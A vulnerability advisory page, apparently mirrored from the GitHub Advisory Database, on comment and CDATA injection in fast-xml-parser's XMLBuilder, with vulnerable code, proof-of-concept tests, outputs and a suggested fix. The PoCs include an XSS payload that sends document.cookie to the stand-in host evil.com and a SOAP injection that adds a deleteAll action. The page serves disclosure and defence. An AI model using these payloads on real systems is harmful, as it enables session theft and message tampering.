Media

fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters

  • Publicada: 22.04.2026
  • Actualizado: 11.10.2026 10:22

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:

  • CVE-2023-26920: Prototype pollution (parser)
  • CVE-2023-34104: ReDoS (parser)
  • CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
  • CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

js
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

js
import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

Output:

xml
<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>

Test 2: CDATA Injection (RSS feed)

js
const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

Output:

xml
<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>

Test 3: SOAP Message Injection

js
const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

Output:

xml
<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

  1. XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers
  2. SOAP injection: Modify SOAP message structure by injecting XML elements
  3. RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
  4. XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

js
// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '&#45;&#45;');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}

Software afectado

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PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm fast-xml-parser < 5.7.0 5.7.0

Referencias

Puntuación CVSS 6.1/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Debilidad (CWE)
CWE-91
Plataforma
npm
Paquete
fast-xml-parser
Publicada
22.04.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-gh4j-gqv2-49f6 - CC BY 4.0

Historial de vulnerabilidades: fast-xml-parser

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (12) en el archivo
Entradas en total
12
Primera → última
08.2021 07.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 6
  • Media 3
  • Baja 2

Divulgaciones por año

  1. 2021: 1
  2. 2022: 0
  3. 2023: 2
  4. 2024: 1
  5. 2025: 0
  6. 2026: 8
Gravedad:
  1. fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters esta entrada
    Media · 6.1 CVE-2026-41650 < 5.7.0 5.7.0
  2. Alta · 7.5 CVE-2026-33036 >= 5.0.0, < 5.5.6, >= 4.0.0-beta.3, < 4.5.5 5.5.6, 4.5.5
  3. Crítica · 9.3 CVE-2026-25896 >= 5.0.0, < 5.3.5, >= 4.1.3, < 4.5.4 5.3.5, 4.5.4
  4. Alta · 7.5 CVE-2026-26278 >= 4.1.3, < 4.5.4, >= 5.0.0, < 5.3.6 4.5.4, 5.3.6
  5. Alta · 7.5 CVE-2026-25128 >= 5.0.9, < 5.3.4 5.3.4
  6. Alta · 7.5 CVE-2024-41818 >= 4.3.5, < 4.4.1 4.4.1
  7. Alta · 7.5 CVE-2023-34104 >= 4.1.3, < 4.2.4 4.2.4

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